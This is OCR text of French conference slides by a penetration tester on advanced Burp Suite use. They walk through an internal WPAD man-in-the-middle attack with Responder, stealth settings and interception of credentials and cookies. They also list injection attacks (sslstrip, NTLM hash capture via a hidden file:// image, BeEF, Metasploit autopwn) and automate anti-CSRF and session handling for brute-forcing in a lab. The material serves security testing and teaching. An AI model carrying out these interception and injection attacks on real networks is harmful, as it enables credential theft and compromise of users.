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§ Introduction a Burp Suite
§ Test intrusif interne : WPAD
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J'ai commencé la sécurité en 1997

Je suis plus “Breaker” que “Builder”

J'ai testé des centaines de systemes tres variés

J'ai fondé Agarriil y a 3 ans
Je pirate pour mes clients et pour le plaisir

w W WU WU W

§ Accomplissements :
- Découvreur de nombreuses vulnérabilités liees a XML

- Titulaire de dizaines d'identifiants CVE
- Conférence « Burp avancé » (HackInParis 2013)

Dafydd Stuttard ©ForisSwigos
»AgarriFR Seriously cool presentation - excellent work!

® Afficher la conversation
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Introduction a Burp Suite

§ Suite d'outils dédiée a I'interception, au
relais, a I'analyse, a la modification et

.

au rejeu de trafic Web

§ Puissant et polyvalent

§ Se configure comme un proxy
§ Java (Windows, Linux, Mac OS X)




Introduction a Burp Suite

§ Produits similaires :
- Avant : Paros, WebScarab, Achilles

- Aujourd'hui : OWASP ZAP
§ Documentation exhaustive (dont « in app »)
§ Mainteneur et communauté tres actifs
§ Extensible (surtout depuis fin 2012)
§ Version payante (250 €/an)

&




Apercu de l'interface

Burp Intruder Repeater Window Help
Target | Proxy | Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options Aler‘tsl

Site map | Scope

Filter: Hiding out of scope, unrequested and not found items: hiding CSS and image content; hiding empty folders

httpyf192.168.2.66 | Method | LURL | Params | Status | Length

W http:/f182.168.2.66 POST Jewew-astwsflogged php 200 516

v [T www-asfws http://192.168.2.66 POST Jewowi-astwsflogged php 200 838
>/ http:/192.168.2.66 POST | fwww-astws/logged php | 200 838

¥ i index.php httpi/192.168.2.66 POST www-asfwsjlogged php 200 927
username=User33&password=S3CR3ITEY ) http/192.168.2.66 POST  jwww-asfwsflogged php 200 540

¥ &2 logged.php http:/f192.168.2.66 POST  jwww-astwsflogged.php 200 924
200 925

value=&token=%3C%3Fphp+print+8deq § http.r192.168.2.66 POST  fwww-asfws/logged php
wvalue=&token=313e33158926a0a249f4f | TN e I T T I =0 Bl B =T =4 Cm e T fee s EENRr P P T I e Tatal fotel=4

value=E&token=7¢51c8290c5hf0o016932
value= l&token=%3C%3Fphp+print+2e 1

I walue=1&token=7d49531c263bc5f1731h [ Raw]’ e T Claw T HTML Tﬂ.ender ]

NERREREEE

[ Request TResponse ]

value=1&token=d631leaecha397c9392a6

“value=28token=%3C%3Fphp+print+4ad | Welcome User33 [Remaining time: 3028 secs]
Jwvalue=28&token=2aa0c8785154dddadac | Anti-C5RF token is walid.
value=2&token=b07d9851946f2boaa1bd | Please try another valuel
“value=2&token=f4ade9cdaasod19b7cfo] .
Jwalue=3&token=c8011d9439ea9db2968 | value < 100
value=33&token=713h953ceatbh51637a
" value=33&token=bfebs2ebbadsdaso02l ) | chack value |
value=6&token=a3b254dd53f49fal6650
I value=8l&token=993a4b7cdShaz3e599




e
Outils intégrés a Burp Suite

§ Outils centraux
- « Proxy » : Configuration du proxy et vue chronologique

du trafic observé
- « Site map » : Vue arborescente du trafic observé

§
- « Repeater » : Emission d'une requéte individuelle

- « Intruder » : Emission en masse de requétes

§ Outils automatiques
- « Spider » : Collecte passive (détection de ressources) et

active (acces récursif)

- « Scanner » : Recherche automatique de vulnérabilités
(mode passif et/ou actif)
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Autres fonctionnalités

§ Outils
- « Sequencer » : Analyse de la qualité d'un aléa

- « Decoder » : Conversion URL/HTML/Base64/Hexa/Octal/Binaire/GZip + hashes
- « Comparer » : Comparaison intuitive de messages (requétes ou réponses)
- « Extender » : Utilisation de plugins développés en Java, Python ou Ruby

§ Configuration
- Macros : Réalisation automatique de requétes

- Regles de gestion de session : Application d'une logique aux requétes et macros

- Réglages divers : Affichage, sauvegarde, raccourcis clavier, SSL, proxy, ...




Exemples simples

§ Restriction par utilisation de I'en-téte HTTP « Location »
- Efficace dans un navigateur

- Non honoré (par défaut) dans « Repeater »
- Supprimable automatiquement dans « Proxy » / « Match and Replace »

§ Restriction par « Basic Auth »
- Format « Authorization: Basic [Chalne au format Base64] »

- Chaine : base64(identifiant + « : » + mot de passe)
- Recherche par dictionnaire via « Intruder »

§ Restriction a un certain type de navigateur
- Option native de modification de I'en-téte « User-Agent »

- Navigateurs supportés : Internet Explorer, iOS et Android
- Utilisable aussi sur un D-Link TM-G5240, DIR-100 ou DI-524UP ;-)




Agenda

§
§ Test intrusif interne : WPAD
§




Scénario

§ Test intrusif interne

§ Mode « boite noire »
§ Pas d'information sur le réseau
§ Pas d'information sur le domaine Windows

§ Administrateurs compétents et vigilants
§ Besoin de discrétion (surtout au début)

§ Réseau commuté (switchs et non hubs)
§ Utilisation de mots de passe solides
§ Application des correctifs (rarement a 100%)




WPAD : le MITM Web facile

Local Area Metwork (LAN) Settings

Connection Settings - ﬁ

Aukarnatic configuration

akion may override manual settings. To ensure the . .
P Cenfigure Proxies to Access the Internet

1 Use sy

Proxy server 71 Manual proxy cenfiguration:

IJse a proxy server for your LAN (These settings will not apply to —
O dial-up or YPN connections). HTTP Promy: Port:

L ]

| | | |_| Wse this prowy server for all protocols

S5L Promy: Port: nE
ETP Proxy: Port: nE
SOCKS Host: Port: e

SOCKSvé @ SOCKSyS

r

P& Proxy server settings Mo Prowy forn

locathost, 127.0.0.1

Automatically detect proxy server settings

spedified proxy server address Example: .mozilfa:org, .net.nz, 192.168.1.0/24

Address: 1 Automatic proxy configuration URL:
Iserverl : I 3128ﬁ

Reload
¥ Set user name and password for authentication ;

User name: Password:

T

[ | [ ]

IDomain'UJSer Ioooooooooo 0K

¥ Bypass proxy server for local addresses

— — ——




WPAD : le MITM Web facile

§ WPAD : Web Proxy Automatic Discovery
§ Apparu dans Internet Explorer 5 (1999)

§ Permet a un client d'obtenir automatiquement :

_'identité du serveur WPAD
_e fichier de configuration « wpad.dat »

| a stratégie de relayage du trafic Web

§ Permet a un attaquant de se désigner comme proxy !




WPAD : le MITM Web facile

§ « Le réseau » fournit l'identité du serveur WPAD

§ Mécanismes :
- Option 252 en DHCP

- Résolution via DNS ou NBT-NS / LLMNR (Vista+)

§ Si NBT-NS ou LLMNR, la requéte est envoyée en broadcast !
§ L'attaquant doit étre le premier (ou le seul) a répondre




Mise en place du MITM

§ Activer un « Listener » sur une interface externe
§ Désactiver l'interception des requétes

Elurp Iﬂtruder Hepeater Window Help

Target | Proxy T Spider T Scanner T Intruder T Rep
| Target | Proxy T Spider T scanner T Intruder T Fepeate
| Intercept [ History T Options ]

j Intercept 1 History I Cptions ]

Elurp Intruder Hepeater Window Help

Burp Proxy uses listeners to receive incoming

| Add .F:unning élnten‘ace | et - ' | ,
. Farward Drop ntercept is off
| N xS | . P

| Edit |

(]

§ Rediriger le trafic WPAD vers Burp
- Réponses NBT-NS / LLMNR + fourniture d'un fichier « wpad.dat »

- L'outil « SpiderLabs Responder » fait cela tres bien




Nous écoutons le trafic
proxyfié !




Analyse du trafic

§ Le trafic Web intercepté est visible dans :
- « Target » / « Site Map »
* Présentation arborescente (site / URL / parametres)
- « Proxy » / « History »

* Ordre chronologique (principalement)

» O https:ffapi.dailymotion.com | Request | Response ]

» http/fapi.dmcdn.net

v @ hitpsfiepisgooglecom | Raw | Params ] Headers [Hex]
» http:/fbeacon.rubiconproject.com

» http:jjclients2.google.com

POST request to jlogin.do

¥ O httpsijjcompte laposte .net ELLL R ER  value
> dwr Cookie xtwrn $306643%
v & login.do Cookie xtan396643
login=nicolas.gregoire&password=s3cr3tpdssword Cookie  xtant396643 1

» [ scripts ' | Body login nicolas.gregoire
» httpijjeu-pnd.adserver yahoo.com I/ Body password s3cr3tpdssword




Analyse du trafic

§ Fonctionnalités avancées de recherche dans « Target » / « Site Map »
- Bouton droit puis sous-menu « Engagement tools »

* « Analyze target »

[ Surmmary T Dynamic LIRLs T Static LIRLs T FParameters ]

Mame & | Mumber of URLs
'.ll_'-lll U'ﬂlu = =1

passive
phix

s]s
pd_id

r"n"‘l\(

Y

I = = B = =

Haost 4| URL | Method | Params | walue [password]
https:/fcompte.laposte .net flogin.do POST 2 s3cr3tpdsswird

1'5\ vy e

[ Request T Response T Parameters ]

Type | Mame | walue

Body | ain nicolas.gregoire
Eody s3cr3tpdsswird




Analyse du trafic

§ Fonctionnalités avancées de recherche dans « Target » / « Site Map »
- Bouton droit puis sous-menu « Engagement tools »

* « Search »

Search

N

asswi(|or)d | | Case sens...[ | In-scope o...
—

[ | Dynamic ...

| — .I [ | Megative ...

Options

Locations

Tools

[ request h.\[| Response

L | Target L | Scanner
[+ Request b /[ | Response ... || Repeater

| Status | Length | Time requested |
200 7198 18:33:33 10 oct, 2013

Source | Host 4| URL

Praoxy https:/fcompte.laposte.net Jlogin.do

_[ Request T Response ]

Faw | Params T Headers T Hex 1

POST request to flogin.do

Type | Mame | walue |
Cookie  xtant396643 1 s
Body | TIC O e el [
Baody assword s3cr3tpdssword v
Body encading: apph - Sorm-urlencoded

Search completed

1 results




Malis ...

§ Il n'y pas quelque chose qui vous choque
dans cette image ?

» O https:jfapi.dailymotion.com | Request | Response ]

» http:ffapi.dmcdn.net

» B hitps:ffapis.google.com | Raw | Params ] Headers [Hex]
» http:ffbeacon.rubiconproject.com

» http:jiclientsz.google.com

POST request to jlogin.do

¥ O https:/jcompte.laposte.net | ixEe | Name | Value
» [ dwr Cookie wtwrn $306643%
v & login.do Cookie xtan396643
login=nicolas.gregoire&password=s3cr3tp4sswird Cookie  xtant396643 1
» [T scripts ' | Body lagin nicolas.gregoire
» http:/jeu-pnd.adserver.yahoo.com I/ Body password s3cr3tpdssword

§ Le contenu des échanges HTTPS est visible !
- Pratique mais tres peu discret




Besoin de discrétion -

Sorry

You just lost
The Game.

Please try again...




Certificat SSL invalide

5] Erreus S5L

= ' | B bebps://compte.laposte.net

Le certificat de sécurité du site n'est pas approuvé !

*ou attempted to reach compte.laposte.net. but the server presented a certificate issued by an
entity that is not trusted by your computer's operating system. This may mean that the server has
generated its own security credentials, which Chromium cannot rely on for identity information, or an
attacker may be trying to intercept your communications.

Me poursuivez pas cette opération. notamment si vous n'avez jamais vu cet avertissement
concemant ce site auparavant.

| Poursuivre guand méme

| Retour a la sécurité |

b Plus d'informations




Certificat SSL invalide

Général|| Détails

Ce certificat a éte vérifieé pour les utilisations suivantes :

Emis pour
Nom commun (CN) compte.iaposte@
Organisation (O) PortSwigger
Unité d'organisation (OU) PortSwigger CA
Numéro de série A2:D3:D2:48

Emis par

Nom commun (CN) PortSwigger CA
Organisation (O) PortsSwigger
Unité d'organisation (OUN PortSwigger CA

Duree de validite
Emis le 10/10/13
Expire le 15/01/33

Empreintes

D5E483F297 D7 6D0OATC36BESBSCOT 63 14
32BECS 3737 CF264C 28688970 7ABESFFB

453B38623B949D006B117 1F4F 27 B207 75
3BES 2978

Empreinte SHA-256

Empreinte SHA-1

| Fermer |




Non-rupture des sessions SSL

§ Fonctionnalité « SSL Pass Through » introduite en
v1.5.15 (Sept. 2013)

§ Une seule entrée vide suffit

§ Evidemment, le trafic HTTPS ne sera plus visible

Burp Intruder Repeater Window Help

Target T Proxy T Spider I scanner T Intruder T Repeater T Sequencer I Decoder T Campars
Intercept T History T Options ]
2

&

These settings are used to specify destination web servers for which Burp will directly pa
made via these connections will be available in the Proxy intercept view or history,

| Add J Enabled | Host/IP range

| Port
|_ Edit J @




Nous écoutons le trafic HTTP |




Artefacts

c | Dwmce—slte—rrexlste—pas com| 7 =

Burp Suite Professional

Error

Unknown host: www.ce-site-n-existe-pas.com

B Burp Suite Professional ; ourpouile Praoressional
= € | [ burp/ ‘_:E"I =

Burp Suite Professional Proxy History ~ CA Certificate  Plug-n-hack

Welcome to Burp Suite Professional. You can use this web interface to access the Proxy history,
download your Burp CA certificate, or configure your browser (via the Firefox plug-n-hack plugin).




Artefacts

Burp Intruder Repeater Window Help

Target ]’Prn:r-;}f T Spider T Scanner T Intruder T Re

Intercept T History Tﬂptinnﬁ 1

| | Echec du chargement de
; L o ' | [0 www.ce-site-n-existe-pas.com w =
ij Miscellaneous
|£J These settings control some specific details d o
|| Use HTTP/1.0 in requests to server Aucune donnée regue.
| Use HTTP/1.0 in responses to client Moins
|| Set response header "Connection: close"

LJ Uﬂpack QEID JII d'E'ﬂEltE‘ ir‘| requests Impossible u:l‘affic:.her la p.E.tgle W:eb. car Ie.seweur n'a envoye aucune donnée.

W] Unpac




Nous écoutons discretement
le trafic HTTP !




Attaques

§ Attagues passives
- Interception d'identifiants

- Interception de cookies

§ Attaques actives
- Modification des réponses

- Redirection vers un site différent




Attaques actives

§ Suppression des liens « https »
- Attaque « sslstrip » (fonctionnalité native de Burp)

§ Redirection vers un clone malicieux du site original
- Altération de la résolution DNS (fonctionnalité native de Burp)

§ Insertion ou modification de liens
- Téléchargement d'un exécutable depuis un site « fiable »

§ Insertion d'images
— Capture des hashes NTLM

- Réutilisation via « Pass The Hash » / Cassage avec JTR ou Hashcat

§ Insertion de script
- Inclusion dans un botnet BeEF

§ Insertion de frames
- Metasploit « autopwn »

- Exploits Java, Flash, IE, Firefox, ...




Extension « HTTP Injector »

§ Burp n'integre pas de fonctionnalité de manipulation complexe des réponses
- D'ou une extension dédié : « HTTP Injector »

§ Filtrage :
- La réponse est de type « HTML »

- La destination est incluse (ou non) dans le scope
- Une certaine chaine de texte est présente
- Le client n'a pas déja été infecté (4 modes possibles)

§ Cas d'usage
- Insertion de code JavaScript (BeEF, FireBug Lite)

- Insertion d'images ou d'iframes
- Et tout ce qui vous passe par la téte, c'est du Python !

§ Journalisation
- Dans la fenétre de I'extension

- Dans « Proxy » / « History » (coloration + ajout d'un commentaire)




Extension « HTTP Injector »

Extensions let you customize Burp's behavior using your own or third-party code.

Add Loaded Ype Mame
| |
@ Pythnn HTTP Injectar
|

Details | Cutpu TErmrs ]

() Output to system console

() save to file: | Select file ... J
® show in LI
[=] CONFIG: Manage duplicates = [1]
[=] CONFIG: Targeted MIME type = [HTHL]
[=] COMNFIG: Marker = [</body:>]
[=] CONFIG: Code = [<img src='file://192.168.2.66/images/asgo _sm 1E5283.png' style='display:none'/></body>]
[=] CONFIG: Check scope = [False]
[=] CONFIG: Werbose = [Trus]
['] #6843 (19Z2.168.2.63) EResponse was NOT infected (MIME type !'= 'HTHML')
[+] #E45 (19Z.165.2.63) Eesponse was infected! http://www.laposte.net:s0/
[-] #6844 (19Z.168.2.63) EResponse was NOT infected (already infected)
[-]1 #E64E (19Z2.168.2.63) EResponse was NOT infected (already infected)




Extension « HTTP Injector »

Burp Intruder Repeater Window Help

Target | Proxy T Spider I Scanner T Intruder I Repeater I Sequencer T Decader T Comparer T Extender I Options TAIerts ]

Intercept | Histary T Options ]

Filter: Showing all items

(7]

# v Host | Method | URL | Params | Edited | .| .| .| .. Title | Comment

41 http:ffwww laposte.net  GET ! [ ] [+ v v . laposte.net . L Source '192.168.2.63" was infected! :

1& : - T - _'j'l |

[ Request T Original response Iﬁutn-mndified response I Edited response ]

[ Raw I Headers T Hex T HTML | Render

- - ——————
i
< <img sre='file://192.168.2.66/images/asgo _sm lE5283.png' style='display: nDnEE DI

</ oy
</html>

T |-

L2 = ||+ ]]=]fie

1 matc




-
Extension « HTTP Injector »

G € | [1 www.ebay.fr

Mon fil shopping @ Ala Une

De:
samsung galaxy S4 ¢

De :
zara #

De
bottes k
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Récapitulatif

§ Configuration initiale :
- WPAD (DHCP/DNS/LLMNR/NBT-NS)

- Proxy en écoute sur interface externe (port selon « wpad.dat »)

§ Discrétion :
- Désactivation des messages d'erreur

- Désactivation de l'interface Web
- Activation de « SSL Pass Through »

§ Attaques :
- Natives :

* Interception d'identifiants et de cookies
* SSL Stripping
» Redirection vers un site différent

- Avec l'extension « HTTP Injector » :

* Modification ou insertion de liens, scripts, images ou iframes




Agenda

§
§
§ Sessions breves et jetons anti-CSRF




a0
Scénario

§ Application Web moderne
— Session authentifiée a expiration automatique

- Jetons anti-CSRF
§ Objectif métier : recherche d'une valeur < 100

§ Objectif technique : rendre invisibles les contraintes

applicatives
- Qutils manuels : « Repeater », « Intruder »

- Outils automatiques : « Spider », « Scanner »
§ Utilisation des macros et regles de gestion de session




Scénario

Welcome User33 [Remaining time: 3591 secs]
Anti-CSRF token 1s valid.
Please try another value!

Value < 100: |

i Check value |

Back to login




Etape 1 : jeton anti-CSRF

§ La durée d'une session est >> a la durée de nos tests
§ Non impactant (tant qu'un cookie de session valide est présent)

§ Toute soumission doit donc inclure :
- Un cookie de session valide (issu de la boite a biscuits)

- Un jeton anti-CSRF valide (a récupérer via macro)
- Une valeur comprise entre 0 et 100

§ Macro :
- Récupere la valeur d'un jeton anti-CSRF valide

§ Regle de gestion de session :
- Insere le jeton précédemment obtenu + un cookie de session valide




T
Macro de collecte du jeton

§ Nom : « Obtention d'un jeton anti-CSRF »

§ Configuration :
- Accéder a la page fournissant le jeton anti-CSRF

 En utilisant un cookie de session valide

- Puis extraire via une expression réguliere la valeur de
ce jeton




Macro de collecte du jeton

Use the configuration below to define the iterms that are included in the macro, and the order they will be issued. You can configure how parameters and cookies are handled for
each itermn. You can also test the macro to confirm it is working correctly.

Macro description: | Obtention d'un jeton anti-CSRF

Macro items:

# | Host | Method | URL | Status | Cookies received | Derived parameters | Preset parameters | Accept ¢, | Configure item |
1 http:/f192.168.2.66 GET fwww-astwsflogged . php 200 ]
| Mowve up J
| Mowe down )
| Remoaveitem |
< v e

Request | Response ]

J Raw T Headers T Hex T HTML T Render ]

Content-Length: 470
Content-Typs: text/html

<html><head><title>Jeton anti-C5RF et session authentifiee</titlex</head><body>
Welcome User33 [Remaining time: 1373 secs]<br/>»
Mis=sing POST parameter!<br/><hr £ ey l00: <input type='text' names='wvalus'

valus='"'/=<hr/>

<input type='hidden@ nams='token' value='J.ElEedc:SaeEede34a4a591d30de3203e9'HE

<input type='submit' -heck' wvalue='Check valus'/s><bhr/> | Re-record macro J
</ form=<hr/><br/>Back to <a hreT—™ = i il
</body></html>

| Re-analyze macro J
v

(2]l =||+]| = Type a search term 0 matches | Test macro J

[Lox ]




Macro de collecte du jeton

a| Configure Macio ltem

okies are handled for
Configure how cookies and request parameters are handled for this macro item.

Add cookies received in responses to the session handling cookie jar

se cookies from the session handling cookie jar in requests ’ - -
Configure item
T —

Mowve up

Mowve down

. —— - Remove itermn
0% derived from TN _ :
mregex group: token' value:'(ﬁﬁ?)';by

Missing POST parameter!<br/><hr/><form action='"' method='post'>WValue < 100:

<input type='text' name='walus'
wvalue='"'/><br/>

<input type='hidden' name='token' wvalue='lBfedciacfedei4adas91ldiide3Zcies’ /><br/ > = i =
<input type='submit' name='check' walue='Check wvalus'/s<br/> I Re-record macro I
</ forme»<hr/><br/>Back to <a href='index.php'>login</a><br/>

</hody></html>

| Re-analyze macro ]

R

|iJ [LJ |_J &] Tvpe a search ; 0 matches |

Test macro ]

I_-OK-]




Regle de gestion de session

§ Nom : « Mise a jour du jeton anti-CSRF »

§ Configuration :
- Scope:
* Commencer par « Repeater » afin de valider le bon
fonctionnement

* Etendre aux autres outils (« Intruder », « Scanner ») en
fonction des besoins

- Action : « Run Macro » (celle définie précédemment)
- Mise a jour de la requéte :

* Valeur du jeton anti-CSRF extraite par macro
* Valeur du cookie de session issu de la boite a biscuits




Regle de gestion de session

T X

Details T Scope ]

:,;| Rule Description

Mise a jour du jeton anti-CSRF

'}l Rule Actions

The actions below will be performed in sequence when this rule is applied to a request.

l add J ;-_E-:_.led | Descri-;;[.inn ‘\ |

e | ] | run macro: Obtention d'un jeton anti-csﬁy | |
| Remove ] "

[ u |

| Down J

o« J




Select macro:

| Add | Cbtention d'un jeton anti-CSRF

| Edit |

Mote that the request currently being processed by this session handling rule will still be
issued, so the macro should not include this request unless it is necessary to issue it twice.

[f] Update current request with parameters matched from final macro response

() Update all parameters except for:

| Edit
® Update only the following parameters:

< token > | Edit

[ | URL-encode matched parameter values

[ ] Tolerate URL mismatch when matching parameters (use for LURL-agnostic CRSF tokens)

] Update current request with cookies from session handling cookie jar

() Update all cookies except for:

| Edit

(® Update only the following cookies:

(PHPsESSID) | Edit




Usage

§ Un seul thread !

§ Dans I'outil « Repeater » :
- Utilisation transparente, si le scope des regles de session est bien défini

- Conseil : tester les macros et regles de gestion de session dans cet outil

§ Dans I'outil « Intruder » :
- Désactivation de I'option « Make unmodified baseline request »

- Utilisation de « Grep - Extract » afin de suivre I'avancement

Attack Sawe Columns

_[ Results TTarget I Positions I Payloads I Options ]

Filter: Showing all items

Request & |Payload |Status | Error | Timeout | Length | time: | sees]<bri=\n | walid.<bri=\n | token' value="

29 28 200 O (B 854 3156 secs Anti-CSRF token is walid  Please try another value! Gc7f430c40baofcffa11664eb1dalfas

30 29 200 Ll ] 854 3155 secs  Anti-CSRF token is walid  Please try another value! 00fedflasad23374al146b4as5bE4984a08
31 30 200 [l ] 854 3154 secs Anti-CSRF token is walid  Please try another value! eb1674410ebaze71705abaf3f3375187
Iz 31 200 O (B 854 3153 secs Anti-CSRF token is walid  Please try another value! 5b5910b848117dd81087801e36eadefs
33 32 200 J LJ 854 3152 secs  Anti-CSRF token is walid S F=F=T=F=1 ToREER=R-E SRR =1 47214bcf2b15ae7516bfedofed 34758
34 33 200 L] L] 859 3151 secs | Anti-CSRF token is validqBingo [SecShdbhafad1a07 JA3e98155bas97440837d624fadba0d4ho
35 34 200 Ll ] 854 3149 secs Anti-CSRF token is walid  Please try another value! 7591bea30f066b36ce0b0ddblclellon
36 35 200 [l ] 854 3148 secs Anti-CSRF token is valid  Please try another value! 3101c62431ec38234d36927931388c63
a7 35 200 O (B 854 3147 secs Anti-CSRF token is walid  Please try another value! 4dg587b594f01dcsbdddagn3c449118e
38 37 200 Ll ] 854 3146 secs  Anti-CSRF token is walid  Please try another value! 2da7947ebad27b08d7cadd22c5chdogad
39 318 200 O ] 854 3145 secs Anti-CSRF token is walid  Please try another value! 6ddse0lf7fasfezesds2ae2d751ch389
40 39 200 Ll ] 854 3144 secs Anti-CSRF token is walid  Please try another value! 1lddz826f61legfbe7532993043e390a2




L'usage de jetons anti-CSRF
est désormais transparent !







Etape 2 : session authentifiée

§ Toute page nécessite une session valide
§ Les sessions expirent toutes les 30 secondes

§ Une session valide est créée en soumettant un couple « identifiant /
mot de passe » valide

§ Macro :
- Crée une nouvelle session (simple POST)

§ Regle de gestion de session :
- C'est la que c'est (un peu) compliqué

- Vérifie si la session est encore valide (acces a une page authentifiée)

- Si non valide :

« Exécuter la macro « Création de session »
* Mettre a jour la boite a biscuits

— Exécute les autres regles de gestion de session (dont jeton anti-CSRF)




Macro de création de session

§ Nom : « Création d'une session "User33" »

§ Configuration :
- Soumettre le formulaire de connexion

* ldentifiant et mot de passe « en dur »

- Mettre a jour le cookie « PHPSESSID » dans la
boite a biscuits




Macro de création de session

Use the configuration below to define the iterms that are included in the macro, and the order they will be issued. You can configure how parameters
also test the macro to confirm it is working correctly,

Macro description: ||création d'une session "User33"
Macro items:

# | Host | Method | LRL | Status | Cookies received | Derived ... | Preset parameters
1 http:/f192.168.2.66 POST fwww-astwsfindex.php 302 PHPSESSID username, passward, lagi

_[ Request T Response ]

POST request to fwww-asfwsjindex.php

Type | Mame [ walue
Body username User33
Body S3CR3T

-urlencoded




Regle de gestion de session

§ Nom : « Vérification (voire création) de la session »

§ Configuration :
- Action : « Check session is valid »

- Requéte a émettre : n'importe quel acces a la partie authentifiée
- Inspection de la réponse

* Lieu : corps de la réponse

* Motif : « Remaining time: (..+) secs »

* Type de motif : expression réguliere

* Si le motif est trouvé, alors la session est valide
- Si la session est invalide

 Exécuter la macro « Création d'une session "User33" »

- Cette macro met a jour le cookie de session dans la boite a biscuits
- Continuer le traitement (jeton anti-CSRF)




Regle de gestion de session

[ Connections I HTTP I S5L T Sessions T Display T Misc ]

I,J?J Session Handling Rules

Details T Scope ]

;J; ¥ou can define session handling rules to make Burp perform specific ac Il
l_l validity. Before each request is issued, Burp applies in sequence each

[2] Rule Description

wérification (vaire création) de la session

[ | Enabled | Description
Use cookies from Burp's cookie jar
l Edit I \érification (woire création) de la session

Mise & jour du jeton anti-CSRF

Remove
i Duplicate ] L:J Rule Actions
Up I The actions below will be performed in sequencyd
| Down _| _ | Add _| i-EﬂEb ol

| Check session is valid

| Edit |




Regle de gestion de session

§ Requéte a émettre pour vérifier I'état de la session

) Issue current request

(® Run macro;

| Add -|<Dbter|tinr| d'un jeton anti-CSRE_D

] _ Création d'une session "User33"
| Edit ]

|| walidate session only every 10 requests




Regle de gestion de session

§ Inspection de la réponse

-t recpopcss
| | =] =

Location(s): || HTTP headers

] Response body
= i ; roet
(ﬁﬂr expression: I_HJ T —
~_ emaining time: (..+W

Match type: \_ Literal string

(® Regular expression
Case-sensitivity: (®) Sensitive

) Insensitive
Match indicates: () Invalid session

@Ualid ses@




Regle de gestion de session
§ Selon valid |té<mlsva|.d ot processan}'furtherrules orsatiianefrthie reql_D

g If session is invalid, perform the action below:

de la session — 5

Select macro:

l add J Obtention d'un jeton anti-CSRF
Création d'une session "User33" .

Edit
s

Mote that the request currently being processed by this session handling rule will still be issued,
this request unless it is necessary to issue it twice.

[ ] Update current request with parameters matched from final macro response

() Update all parameters except for:

| Edit |

(® Update only the following parameters:

| Edit

[[] URL-encode matched parameter values
[] Tolerate URL mismatch when matching parameters {use for URL-agnostic CRSF tokens)

] Update current request with cockies from session handling cockie jar

() Update all cookies except for:

| Edit

® Update aonly the following cookies:

| Edit |

PHPSESSID




Usage

Request 4 | Payload_| Status | Error |Timeout | Lengthm secs]<br/=\n | valid.<brf=\n | 'token' value="

30 29 200 ] U 855 12 secs \Anti-CSRF token is valid  Please try anotherwvalue!  2f07b17df953c3893b2cAd45f6ab5119

31 30 200 ] U 855 10 secs JAnti-CSRF token is valid  Please try another value!  4596f38fd8736f27a0b4c4 188568548

32 31 200 [] L] 855 28 secs JAnti-CSRF token is valid  Please try another value!  cc58bf2b0aaz28h8220c0ced92cc04e08

33 32 200 ] U 855 26 secs J Anti-CSRF token is valid  Please try another walue!  51fff4zh5453a9762c0fbffcfaBac0e2

34 33 200 [ | [ | 870 24 secs J Anti-CSRE token is valid Bingo [SecObdbafodla0..,  76384a73fcA0cld7245fer0f7267402¢c

35 34 200 571d03fel21f207b90e3624c6a9
Events

Applying rule: Vérification de la session
Performing action: Check session is walid
Running macro to validate session: Obtention d'un jeton anti-CSRF
Processing macro item: http://192.168.2.66 www-asfws/logged.php
Updated 1 cookie in macro request from cookie jar
lssuing macro request
Session is invalid
Running macro: Création d'une session "User33"
Processing macro iterm: http://192.168.2 .66/ www-asfws/index.php
Issuing macro request
Added 1 cookie from macro response to cookie jar
Updated 1 cookie in current request from cookie jar
Applying rule: Mise & jour du jeton anti-CSRF
Running macro: Obtention d'un jeton anti-CSRF
Processing macro item: http://192.168.2.66 www-asfws/logged.php
Updated 1 cookie in macro request from cookie jar
lssuing macro request
Updated parameter token in current request, from final macro response
Issued request




Les déconnexions agressives
sont désormais transparentes !







e
Récapitulatif

§ Si un seul jeton anti-CSRF valide a un instant T pour chaque session
- Utiliser un seul thread, afin de ne pas « griller » le jeton courant

- Valable de maniere globale (tout Burp Suite + navigateur)

§ Considérer la boite a biscuits comme un élément distinct
- Pas d'utilisation implicite

- Identifiez dans vos cinématiques chaque utilisation ou mise a jour

§ En cas de problémes
- Réduire en problemes plus petits (séparer anti-CSRF, gestion de session, signature, ...)

- Construire par blocs facilement testables depuis « Repeater »
- Utiliser le « Sessions tracer » pour débugger les regles de gestion de session
- Vérifiez la définition du scope (outil + URL) de vos regles de gestion
- Lors de l'utilisation de I'outil « Intruder » :
* Utiliser « Grep - Extract » pour suivre visuellement la progression
* Désactiver I'option « Make unmodified baseline request »

§ Expérience
- Votre premier scénario complexe ne marchera probablement pas du premier coup

- Pratiquez en lab, cela vous évitera les faux-négatifs en situation réelle !




Liens

§ Extension « HTTP Injector »
- http://www.agarri.fr/docs/HTTPInjector.py

§ WPAD : Web Automatic Proxy Discovery
- http://en.wikipedia.org/wiki/Web_ Proxy Autodiscovery Protocol

§ Trustwave SpiderLabs « Responder »
- https://github.com/SpiderLabs/Responder

§ Metasploit « autopwn »
- https://github.com/rapid7/[...]/auxiliary/server/browser_autopwn.rb

§ BeEF Framework
- http://beefproject.com/

§ Hashcat
- http://hashcat.net/hashcat/

§ John The Ripper
- http://www.openwall.com/john/




Conclusion

§ Tres grande polyvalence de I'outil
- Test intrusif interne ou externe, évaluation en lab, démonstrations, ...

- Application Web, Web-Services, client lourd, application mobile, ...

§ API trés riche
- Tout est possible, ou presque

- Si la fonctionnalité désirée n'est pas présente
* Relisez la doc

* Postez sur les forums

§ Complexité élevée ... si la situation a émuler est complexe
- Les possibilités offertes par le logiciel peuvent étre intimidantes

- Conséquence inévitable de son adaptabilité aux conditions réelles
- Mais la plupart des audits ne nécessitent pas les usages les plus avancés

§ Documentation
- Lisez la. Au moins deux fois. Elle le mérite ...




Conclusion (bis)

§ Entrainez-vous en environnement isolé

§ Objectif : configuration fonctionnelle du premier
coup lors de situations réelles

Amateurs Practice Until They Get It Right
Professionals Practice Until They Can’t Get It Wrong
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